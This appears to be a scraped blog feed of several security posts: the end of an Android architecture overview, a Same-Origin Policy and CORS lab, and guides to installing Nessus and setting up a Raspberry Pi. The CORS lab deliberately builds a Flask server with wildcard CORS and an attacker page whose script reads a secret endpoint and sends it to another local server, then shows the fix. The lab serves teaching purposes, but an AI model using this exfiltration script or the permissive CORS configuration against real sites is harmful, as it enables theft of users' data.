<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735633066099/2f7fe7f9-28e6-47a4-a388-85421a8b5cd5.png" alt class="image--center mx-auto" /></p>
<p>The HAL is situated between the Linux Kernel and Native Libraries within the Android architecture. Its primary role is to enable communication between the kernel and native libraries.</p>
<p>The HAL acts as a software hook between hardware components and the Android platform. It consists of multiple library modules, each of which implements an interface for a specific type of hardware component, such as the <a target="_blank" href="https://source.android.com/devices/camera/index.html">camera</a> <a target="_blank" href="https://source.android.com/devices/camera/index.html">or Blu</a><a target="_blank" href="https://source.android.com/devices/bluetooth.html">etooth</a> <a target="_blank" href="https://source.android.com/devices/bluetooth.html">module.</a></p>
<p>HAL modules are sandboxed, meaning: A HAL module for audio cannot access the module for Bluetooth, ensuring better security. For example, if a malicious actor gains access to the audio HAL, the sandboxing ensures that their actions remain isolated and do not compromise other HAL modules like the camera or Bluetooth. This compartmentalization minimizes potential attack surfaces and helps maintain the integrity of individual hardware components.</p>
<p>Vulnerabilities in the HAL, such as improper access controls, can allow attackers to exploit hardware components like microphones or cameras for malicious purposes.</p>
<ul>
<li><p><a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2021-0673">CVE-2021-0673</a></p>
</li>
<li><p><a target="_blank" href="https://research.checkpoint.com/2021/looking-for-vulnerabilities-in-mediatek-audio-dsp/">Checkpoint Research on MediaTek Audio DSP</a></p>
</li>
</ul>
<h1 id="heading-native-libraries">Native Libraries</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735633305529/6dc121f7-b75f-4740-b905-23b7ada728ba.png" alt class="image--center mx-auto" /></p>
<p>Native Libraries are system-critical binaries written in C and C++. These libraries are essential for system functionality and include components such as:</p>
<ul>
<li><p><strong>SQLite</strong> for database management.</p>
</li>
<li><p><strong>OpenSSL</strong> for encryption and security protocols.</p>
</li>
<li><p><strong>WebKit</strong> for rendering web content.</p>
</li>
</ul>
<p>Vulnerabilities in these libraries, like memory corruption or integer overflows, can be exploited to execute arbitrary code or compromise sensitive data stored in the device. Example vulnerability:</p>
<ul>
<li><a target="_blank" href="https://thehackernews.com/2022/10/22-year-old-vulnerability-reported-in.html">22-Year-Old Vulnerability in SQLite</a></li>
</ul>
<h1 id="heading-android-run-time">Android Run Time</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735633503593/2489d5ca-1bc3-478b-aaf9-88f6fd1c30f4.png" alt class="image--center mx-auto" /></p>
<p>The Android Runtime exists at the same level as the Native Libraries in the architecture. It is responsible for executing Android applications and includes:</p>
<ul>
<li><p><strong>DVM (Dalvik Virtual Machine):</strong> Executes Dalvik bytecode.</p>
</li>
<li><p><strong>ART (Android Runtime):</strong> Executes Android Application Packages (APKs).</p>
</li>
</ul>
<p>In contrast, <strong>JIT (Just-In-Time)</strong> compilation compiles code during runtime, which can lead to slower application launches but allows for dynamic optimization based on runtime conditions. AOT, on the other hand, precompiles code during installation, resulting in faster application startup times and more consistent performance at the cost of slightly longer installation times.</p>
<p>Vulnerabilities in ART can affect how applications are executed, potentially allowing attackers to inject malicious code during the runtime process or bypass security checks on APK files. Example: <a target="_blank" href="https://www.guardsquare.com/blog/new-android-vulnerability-allows-attackers-to-modify-apps-without-affecting-their-signatures-guardsquare">Attackers Modifying Apps Without Affecting Signatures</a>.</p>
<p>Execution flow in ART:</p>
<ol>
<li><p>Java/Kotlin source code is compiled using the Java compiler to produce Java bytecode (.class files).</p>
</li>
<li><p>The bytecode is converted into Dalvik bytecode (.dex files) using the dex compiler.</p>
</li>
<li><p>Finally, it is executed within the Dalvik VM or ART.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735634142740/2e22e887-6d0a-49b0-807a-10dcd9baac8c.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-android-framework">Android Framework</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735634237111/2ac1ec91-5efb-4aef-acf8-803dcf4dd041.png" alt class="image--center mx-auto" /></p>
<p>The Android Framework offers high-level APIs for developers, enabling them to interact with underlying system components and create feature-rich applications. Its key components include:</p>
<ul>
<li><p><strong>Content Providers:</strong> Allow apps to share and access data from other apps.</p>
</li>
<li><p><strong>View System:</strong> Helps create User Interfaces (UI).</p>
</li>
<li><p><strong>Managers:</strong></p>
<ul>
<li><p><strong>Notification Manager:</strong> Handles notifications.</p>
</li>
<li><p><strong>Location Manager:</strong> Provides location services.</p>
</li>
<li><p><strong>Activity Manager:</strong> Manages the activity lifecycle.</p>
</li>
</ul>
</li>
</ul>
<p>Vulnerabilities in framework components, such as content providers or managers, can allow unauthorized access to user data or lead to privilege escalation attacks through poorly secured APIs.</p>
<h1 id="heading-application-layer">Application Layer</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735634298286/47ee561c-90d1-4897-8c52-1daa6ff6b04d.png" alt class="image--center mx-auto" /></p>
<p>This is the top-most layer of the Android architecture. Applications are developed using <strong>Java</strong> or <strong>Kotlin</strong> and packaged as APK files. An APK contains:</p>
<ul>
<li><p>Application code.</p>
</li>
<li><p>Resources.</p>
</li>
<li><p>Manifest files, etc.</p>
</li>
</ul>
<p>Additionally, cross-platform frameworks like Flutter are becoming increasingly popular for Android development, enabling developers to build applications that work seamlessly across multiple operating systems with a single codebase.</p>
<p>Vulnerabilities in applications, such as insecure data storage or improper authentication, can be exploited to steal sensitive user information or manipulate app behavior.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>The Android architecture is designed to ensure a secure and efficient ecosystem for both developers and users. However, each layer presents unique vulnerabilities that can be exploited if not adequately secured. From the Linux Kernel to the Application Layer, understanding the functionalities and potential risks of each layer is crucial for building and maintaining secure Android systems. By leveraging robust security practices such as SELinux policies, sandboxing, and proper application development protocols, we can significantly mitigate the risks and maintain the integrity of Android devices.</p>
]]></content:encoded></item><item><title><![CDATA[SOP and CORS]]></title><description><![CDATA[What is SOP or Same Origin Policy?
According to MDN Web docs, The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.
It helps isolate pote...]]></description><link>https://blog.santoshachary.in/sop-and-cors</link><guid isPermaLink="true">https://blog.santoshachary.in/sop-and-cors</guid><category><![CDATA[vulnerability]]></category><category><![CDATA[Security]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Wed, 03 May 2023 08:33:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/NYMJYXfZG-g/upload/aadef3eeeba2c9f74350825a064bce14.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-sop-or-same-origin-policy">What is SOP or Same Origin Policy?</h2>
<p>According to <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">MDN Web docs,</a> The <strong>same-origin policy</strong> is a critical security mechanism that restricts how a document or script loaded by one <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/Origin">origin</a> can interact with a resource from another origin.</p>
<p>It helps isolate potentially malicious documents, reducing possible attack vectors. For example, it prevents a malicious website on the Internet from running JS in a browser to read data from a third-party webmail service (which the user is signed into) or a company intranet (which is protected from direct access by the attacker by not having a public IP address) and relaying that data to the attacker.</p>
<p>In this blog, we will see how an attacker can practically achieve this.</p>
<h2 id="heading-setting-up-a-vulnerable-server">Setting up a vulnerable server</h2>
<p>First, We will set up a simple server using python flask. For people, who are new to Python or web development, they have to run the following command first to install Flask and CORS library(We will understand, what is CORS in further sections).</p>
<pre><code class="lang-bash">pip install Flask Flask-CORS
</code></pre>
<p>Now create a file with the name <code>vulnerable.py</code> and add the following code to it.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, Response, request
<span class="hljs-keyword">from</span> flask_cors <span class="hljs-keyword">import</span> CORS

app = Flask(__name__)
CORS(app, resources={<span class="hljs-string">r"/*"</span>: {<span class="hljs-string">"origins"</span>: <span class="hljs-string">"*"</span>}})

<span class="hljs-meta">@app.route('/')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">index</span>():</span>
    resp = Response(<span class="hljs-string">"""
        &lt;html&gt;
        &lt;head&gt;
            &lt;title&gt;vulnerable.com&lt;/title&gt;
        &lt;/head&gt;
        &lt;body&gt;
            &lt;h1&gt;Hello from vulnerable.com!&lt;/h1&gt;
        &lt;/body&gt;
        &lt;/html&gt;
    """</span>)
    resp.set_cookie(<span class="hljs-string">'Secret'</span>, <span class="hljs-string">'PleaseDontEatMe'</span>)
    <span class="hljs-keyword">return</span> resp

<span class="hljs-meta">@app.route('/secret')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">secret</span>():</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Super-Sensitive-data"</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    app.run()
</code></pre>
<p>Let's understand the code, In the first 2 lines we are importing required flask-related libraries. Then we created a Flask application instance. We will skip the next line for now where we are introducing a vulnerability for an attacker. Next, we created a simple index function which will be executed as soon as the request is made to the server. This function will return the defined HTML code and will set the cookie <code>Secret</code> in the client browser. Then there is a function with a name <code>secret</code> that returns super-sensitive data. Finally, we are running the application using <code>app.run()</code>.</p>
<p>Now that we have created and understood our victim server, we can run it using the below command.</p>
<pre><code class="lang-python">python vulnerable.py
</code></pre>
<p>The output of the above command says that our server is running on port 5000. We can access it using this URL <a target="_blank" href="http://127.0.0.1:5000">http://127.0.0.1:5000</a>. To stop the server we need to hit <code>Ctrl+c</code>.</p>
<h2 id="heading-lets-be-an-attacker">Let's be an attacker</h2>
<p>After creating and hosting our victim server we'll create an attacker server. We can follow the above steps but we need to create a file with the name <code>attacker.py</code> instead of <code>victim.py</code> and add the following code.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask

app = Flask(__name__)

<span class="hljs-meta">@app.route('/')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">index</span>():</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"""
        &lt;html&gt;
        &lt;head&gt;
            &lt;title&gt;attacker.com&lt;/title&gt;
        &lt;/head&gt;
        &lt;body&gt;
            &lt;h1&gt;Hello from def.com!&lt;/h1&gt;
            &lt;script src="/script.js"&gt;&lt;/script&gt;
        &lt;/body&gt;
        &lt;/html&gt;
    """</span>

<span class="hljs-meta">@app.route('/script.js')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">script</span>():</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"""
        fetch('http://127.0.0.1:5000/secret')
        .then(response =&gt; response.text())
        .then(data =&gt; {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', 'http://127.0.0.1:4545/receive?secret=' + encodeURIComponent(data));
            xhr.send();
        });
    """</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    app.run(port=<span class="hljs-number">4545</span>)
</code></pre>
<p>Let's understand the code. In the above code, the first thing we need to notice is that we are running the server on port 4545. Next, we need to understand that the JavaScript which is returned upon requesting for <code>script.js</code>.</p>
<pre><code class="lang-javascript">fetch(<span class="hljs-string">'http://127.0.0.1:5000/secret'</span>)
    .then(<span class="hljs-function"><span class="hljs-params">response</span> =&gt;</span> response.text())
    .then(<span class="hljs-function"><span class="hljs-params">data</span> =&gt;</span> {
         <span class="hljs-keyword">const</span> xhr = <span class="hljs-keyword">new</span> XMLHttpRequest();
         xhr.open(<span class="hljs-string">'GET'</span>, <span class="hljs-string">'http://127.0.0.1:4545/receive?secret='</span> + <span class="hljs-built_in">encodeURIComponent</span>(data));
         xhr.send();
        });
</code></pre>
<p>The above code will make the browser send a request to <a target="_blank" href="http://127.0.0.1:5000/secret"><code>http://127.0.0.1:5000/secret</code></a>. Then whatever response it will get it will send that to <a target="_blank" href="http://127.0.0.1:4545">http://127.0.0.1:4545</a> back in its query parameters like this <a target="_blank" href="http://127.0.0.1:4545/recieve?secret=TheSecret"><code>http://127.0.0.1:4545/recieve?secret=TheSecret</code></a>.</p>
<p>Now that we have both the environment set for the vulnerable website and the attacker's website. Let's see things, how they work. Don't forget to start the <code>attacker.py</code> code using <code>python attacker.py</code> command.</p>
<p><strong>Step 1:</strong> Access the page <a target="_blank" href="http://127.0.0.1:5000">http://127.0.0.1:5000</a>. Once loaded it should look something like below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682993122529/ef444ee5-b8bd-4840-a25f-57873ed8d548.png" alt class="image--center mx-auto" /></p>
<p>Also, we can see a request is generated in the CLI.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682993269794/9b07b90b-31b4-44f5-ab6a-338a16ba65e8.png" alt class="image--center mx-auto" /></p>
<p><strong>Step 2:</strong> Now access the <a target="_blank" href="http://127.0.0.1:4545"><code>http://127.0.0.1:4545</code></a>. We will see a page like below loaded into our browser. Press the <code>F12</code> button and developer console will be loaded. Notice that the browser has send a request to <a target="_blank" href="http://127.0.0.1:4545"><code>http://127.0.0.1:4545</code></a> with the sensitive data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682993973235/65b8a7e1-92e2-4974-9e77-e58dd1918c79.png" alt class="image--center mx-auto" /></p>
<p>Now if we will check the CLi where we have started the attacker's server we can see the "Super-sensitive data"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1682994133794/c273b64c-308c-4d84-81ed-5086f601d7cf.png" alt class="image--center mx-auto" /></p>
<p>What's the problem with this scenario and why somebody will care about it? Let's imagine you are visiting a banking website and there are various sensitive endpoints such as retrieving bank balances, transferring money etc. Now an attacker created a random site and sent it to you through email or any other social media and you clicked on the link and you saw a funny meme and then ignored it. However, the attacker's site loaded more than just a meme and it all happened in the background. The JavaScript loaded to your browser will retrieve the sensitive data from your bank account and send it back to him.</p>
<p>To get rid of this problem, browsers got the SOP - Same origin policy. As per the SOP, A resource or script loaded from one origin can allow resources from the same origin only. We consider it the same origin when the protocol, domain and port numbers are the same for both. We can understand this from the following table.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>URL</td><td>Outcome</td><td>Reason</td></tr>
</thead>
<tbody>
<tr>
<td><a target="_blank" href="http://store.company.com/dir2/other.html">http://store.company.com/dir2/other.html</a></td><td>Same origin</td><td>Only the path differs</td></tr>
<tr>
<td><a target="_blank" href="http://store.company.com/dir/inner/another.html">http://store.company.com/dir/inner/another.html</a></td><td>Same origin</td><td>Only the path differs</td></tr>
<tr>
<td><a target="_blank" href="https://store.company.com/page.html">https://store.company.com/page.html</a></td><td>Failure</td><td>Different protocol</td></tr>
<tr>
<td><a target="_blank" href="http://store.company.com:81/dir/page.html">http://store.company.com:81/dir/page.html</a></td><td>Failure</td><td>Different port (http:// is port 80 by default)</td></tr>
<tr>
<td><a target="_blank" href="http://news.company.com/dir/page.html">http://news.company.com/dir/page.html</a></td><td>Failure</td><td>Different host</td></tr>
</tbody>
</table>
</div><p>Comparing this to our lab environment, we were violating the policy by accessing the resource from different ports. The Vulnerable server was running on the 5000 port while our attacker's server was running on the 4545 port.</p>
<p>What if there's a requirement for a resource to be shared from a different origin? will that never be allowed? That's far from the truth. There's a solution to this and that's CORS.</p>
<h2 id="heading-what-is-cors">What is CORS?</h2>
<p>CORS or the "Cross-Origin Resource Sharing". As per the MDN, Cross-Origin Resource Sharing (CORS) is an HTTP-header-based mechanism that allows a server to indicate any origins (domain, scheme, or port) other than its own from which a browser should permit loading resources.</p>
<p>Now coming back to our lab setup, if you remember we have used the below line of code in our <code>vulnerable.py</code> code, this line of code is a bypass to the SOP.</p>
<pre><code class="lang-python">CORS(app, resources={<span class="hljs-string">r"/*"</span>: {<span class="hljs-string">"origins"</span>: <span class="hljs-string">"*"</span>}})
</code></pre>
<p>In our example, we had allowed the CORS from all the origins by using a wildcard entry "*". Due to this, the attacker's server was able to access the 'Super-sensitive-data. Configuring CORS this way is not a security best practice. Sometimes developers become lazy and they allow this type of CORS instead of specifying the domains from which the resources can be accessed.</p>
<p>Now if we remove this line of code completely from our <code>vulnerable.py</code> server and perform the same attack we will see that we are not able to access the 'Super-sensitive-data' from the attacker's server and we get the following result in the developer console. When we check in the terminal where we started our attacker's server we see that</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1683102092409/3d380c83-b718-4144-92e4-be37e2b3a8aa.png" alt class="image--center mx-auto" /></p>
<p><code>Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at</code> <a target="_blank" href="http://127.0.0.1:5000/secret"><code>http://127.0.0.1:5000/secret</code></a><code>. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).</code></p>
<p>Now, let's assume that the attacker server is a genuine server and we want it to access the content of the vulnerable server but we don't want any one else to access that data. We can replace the wildcard entry with the below line.</p>
<pre><code class="lang-python">CORS(app, resources={<span class="hljs-string">r"/*"</span>: {<span class="hljs-string">"origins"</span>: <span class="hljs-string">"http://127.0.0.1:4545"</span>}})
</code></pre>
<p>This code will make sure that the resource can only be shared with <a target="_blank" href="http://127.0.0.1:4545"><code>http://127.0.0.1:4545</code></a> not any other. This way we can make sure that the server is not misconfigured. We can add more options to work according to our requirement such as allowing only required methods but not all.</p>
<p>Thanks for reading the blog. Hope this adds some value to your work and knowledge. Please feel free to give any feedback.</p>
<h3 id="heading-references">References:</h3>
<p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy</a></p>
<p><a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS">https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS</a></p>
<p><a target="_blank" href="https://portswigger.net/web-security/cors/same-origin-policy">https://portswigger.net/web-security/cors/same-origin-policy</a></p>
]]></content:encoded></item><item><title><![CDATA[Installing Nessus on a raspberry pi 4]]></title><description><![CDATA[Usage: Someone may ask, till now people were installing Nessus on a virtual machine or a server and it works fine. Then why on a raspberry-pi. The simple answer is that we can carry this cheap kit anywhere and can run in a network and nobody can noti...]]></description><link>https://blog.santoshachary.in/installing-nessus-on-a-raspberry-pi-4</link><guid isPermaLink="true">https://blog.santoshachary.in/installing-nessus-on-a-raspberry-pi-4</guid><category><![CDATA[Raspberry Pi]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[tenable]]></category><category><![CDATA[nessus]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Sat, 25 Feb 2023 11:37:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/yJPtjTjrMXk/upload/4d32440b1c9988248aed11739e31c477.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Usage: Someone may ask, till now people were installing Nessus on a virtual machine or a server and it works fine. Then why on a raspberry-pi. The simple answer is that we can carry this cheap kit anywhere and can run in a network and nobody can notice it physically. For sure a network administrator and SOC team have all the privileges to find if a raspberry pi is running in the network.</p>
<p>Hence tenable has released a Nessus package for ARM CPU which is specially built for Raspberry pi.</p>
<h2 id="heading-pre-requisite">Pre-requisite</h2>
<p>TLDR; Raspberry pi with 32-bit raspberry pi OS installed. You can refer my <a target="_blank" href="https://santoshachary.in/2022-07-28-Setting-up-raspberry-pi/">blog</a> for step by step guide.</p>
<p>The only pre-requisite for this installation is a raspberry pi kit with Raspberry pi 32-bit OS installed. While writing this blog tenable has released a 32-bit Nessus package only. So in case if you are trying to install it on a 64-bit package you may face some problems as I have gone through the same. But it should not be the case. As far as I know, all the 32-bit software should support 64 bit CPU. If you know why that is happening please let me know.</p>
<h2 id="heading-installation">Installation</h2>
<p>Without any further delay, let’s see what steps someone should follow to do it. The best place to get started is the tenable <a target="_blank" href="https://docs.tenable.com/nessus/Content/InstallNessusRaspberryPi.htm">documentation</a> itself.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/tenable.png" alt="tenable.png" /></p>
<p>From here we can download the required Nessus package after agreeing to the terms and conditions.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled.png" alt="Untitled" /></p>
<p>Once downloaded we can use the below commands to install the Nessus.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> Downloads/
sudo dpkg -i Nessus-10.3.0-raspberrypios-armhf.deb
sudo /bin/systemctl start nessusd.service
</code></pre>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/nessus_installation.png" alt="nessus installation.png" /></p>
<p>Now open the browser on raspberry pi and go to <a target="_blank" href="https://raspberrypi:8834">https://raspberrypi:8834</a>. Congratulations Nessus installation is successful if you see a certificate error on the browser. Now select the Nessus essentials. If you have a license for others you can go with that.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/3rd-webpage.png" alt="3rd-webpage.png" /></p>
<p>In the next screen fill the details and click on “Email”</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/4-webpage.png" alt="4-webpage.png" /></p>
<p>You will receive an activation code on your mail address and fill that in on the next page.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/5-webpage.png" alt="5-webpage.png" /></p>
<p>You will be asked to set up the username and password for signing up. Once that is done you can sign in to the Nessus console.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%201.png" alt="Untitled" /></p>
<p>It will take a lot of time to download and compile the plugins, which are the core things used during vulnerability scanning.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/2nd-webpage.png" alt="2nd-webpage.png" /></p>
<p>After logging in we can create a scan as per our requirement. Creating a scan is very easy on Tenable.</p>
<p>Click on <strong>New scan</strong></p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%202.png" alt="Untitled" /></p>
<p>Select the scan template. Here we will select the “Basic Network scan”</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%203.png" alt="Untitled" /></p>
<p>Now fill in the details in the form → Name, Description, Targets. Then click on the small drop-down button near to save button and click Launch,</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%204.png" alt="Untitled" /></p>
<p>Now we can see a scan has been started.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%205.png" alt="Untitled" /></p>
<p>After some time the scan will be completed and we can see the results.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%206.png" alt="Untitled" /></p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/nessus-rbpi/Untitled%207.png" alt="Untitled" /></p>
<p>Next, we can export the report or we can analyze the vulnerabilities.</p>
<p>That’s all for this blog. If you want to get a brief idea about the Vulnerability assessment, then you can check my <a target="_blank" href="https://santoshachary.in/2022-04-15-vulnerability-management/">Vulnerability assessment</a> blog. Thanks for reading and please reach out to me for any feedback.</p>
]]></content:encoded></item><item><title><![CDATA[Setting up a Raspberry pi]]></title><description><![CDATA[This blog includes a step-by-step guide to installing and starting a raspberry pi. We will see how to assemble a raspberry pi kit, connect various cables and install raspberry pi OS.
🙏🏻 I received this raspberry pi kit from team tenable after a sma...]]></description><link>https://blog.santoshachary.in/setting-up-a-raspberry-pi</link><guid isPermaLink="true">https://blog.santoshachary.in/setting-up-a-raspberry-pi</guid><category><![CDATA[Raspberry Pi]]></category><category><![CDATA[hacking]]></category><category><![CDATA[iot]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Sat, 25 Feb 2023 11:27:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/f3Yk7gW6chM/upload/be590ccafbe8fb1f6205dafa74b7e8f3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This blog includes a step-by-step guide to installing and starting a raspberry pi. We will see how to assemble a raspberry pi kit, connect various cables and install raspberry pi OS.</p>
<p>🙏🏻 I received this raspberry pi kit from team tenable after a small quiz. A huge thanks to <a target="_blank" href="https://www.tenable.com/campaigns/nessus-on-raspberrypi">Tenable</a>.</p>
<h2 id="heading-components-used">Components used:</h2>
<ol>
<li><p>Micro SD card</p>
</li>
<li><p>Raspberry pi 4 8 GB</p>
</li>
<li><p>3A USB-C power adapter</p>
</li>
<li><p>USB Micro SD card reader</p>
</li>
<li><p>Micro HDMI cable</p>
</li>
<li><p>Monitor, Keyboard and Mouse</p>
</li>
<li><p>Case to hold/protect the Raspberry pi [Optional]</p>
</li>
<li><p>Cooling Fan [Optional]</p>
</li>
</ol>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/IMG_20220725_191343.jpg" alt="IMG_20220725_191343.jpg" /></p>
<h2 id="heading-lets-get-started">Let’s get started..!!</h2>
<h3 id="heading-assembling-the-kit">Assembling the kit</h3>
<p>The first step to getting started with this process is to know and assemble the kit we have. It’s really easy to do so.</p>
<p>While assembling we need to start with raspberry pi module clipping it on the base of the case. Then put the middle portion of the case carefully.</p>
<p>Then attaching the cooling fan to the top cover. After that, we need to attach the cooling fan cable to the the pins for power supply and attach the top cover on the kit now.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/IMG_20220725_192106.jpg" alt="IMG_20220725_192106.jpg" /></p>
<p>While connecting pins we can refer the below images.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/fan.jpg" alt="Fan" /></p>
<p>As our hardware assembling is done we can now proceed for installing OS and connecting the cables.</p>
<h3 id="heading-installing-raspberry-os">Installing Raspberry OS</h3>
<p>To get started with the OS installation we can install the <a target="_blank" href="https://downloads.raspberrypi.org/imager/imager_latest.exe">raspberry pi imager</a> on our personal computer.</p>
<p>Step 1: Open Raspberry Pi Imager</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%202.png" alt="Untitled" /></p>
<p>Step 2: Click on <strong>Choose OS</strong> &amp; select the required OS</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%203.png" alt="Untitled" /></p>
<p>Step 3: Select Choose storage</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%204.png" alt="Untitled" /></p>
<p>Step 4: Click on write</p>
<p>![Untitled](/assets/img/rbpi/Untitled 05.png)</p>
<p>Step 5: Click on <strong>Yes</strong></p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%206.png" alt="Untitled" /></p>
<p>Step 6: OS will be written to the SD card now.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%207.png" alt="Untitled" /></p>
<p>Step 6: Click <code>continue</code>. Remove the SD card from PC.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%208.png" alt="Untitled" /></p>
<p>Step 7: Insert into the raspberry pi.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/IMG_20220725_200523.jpg" alt="IMG_20220725_200523.jpg" /></p>
<p>Step 8: Now connect all the cables to raspberry pi. (HDMI, Power supply, Mouse and Keyboard)</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/IMG_20220726_120203.jpg" alt="IMG_20220726_120203.jpg" /></p>
<p>Now raspberry pi should boot. Like any other OS, it will ask to select the keyboard layout, Language and Country from which it is going to be used.</p>
<p>Once that is done it will ask to set up the wi-fi which is optional if the internet connection is going to be provided by an ethernet cable.</p>
<p>Next, it will ask for the updates which can be ignored and can be updated using the below commands.</p>
<pre><code class="lang-bash">sudo apt-get update
sudo apt-get upgrade -y
</code></pre>
<p>After proceeding further we are all set with the raspberry pi. Congratulations!!</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/rbpi/Untitled%209.png" alt="Untitled" /></p>
<p>Now one would like to install open-ssh on the host so that it would be easier to connect to the host from any other personal computer.</p>
<pre><code class="lang-bash">sudo apt-get install openssh-server
sudo systemctl <span class="hljs-built_in">enable</span> ssh 
sudo systemctl start ssh
</code></pre>
<p>Also, we can set up the RDP on the raspberry pi using the below commands</p>
<pre><code class="lang-bash">sudo apt-get install xrdp
sudo systemctl <span class="hljs-built_in">enable</span> xrdp
sudo systemctl start xrdp
</code></pre>
<p>Thanks for reading till the end. Please let me know for any feedback.</p>
]]></content:encoded></item><item><title><![CDATA[Vulnerability Management]]></title><description><![CDATA[What is a vulnerability?
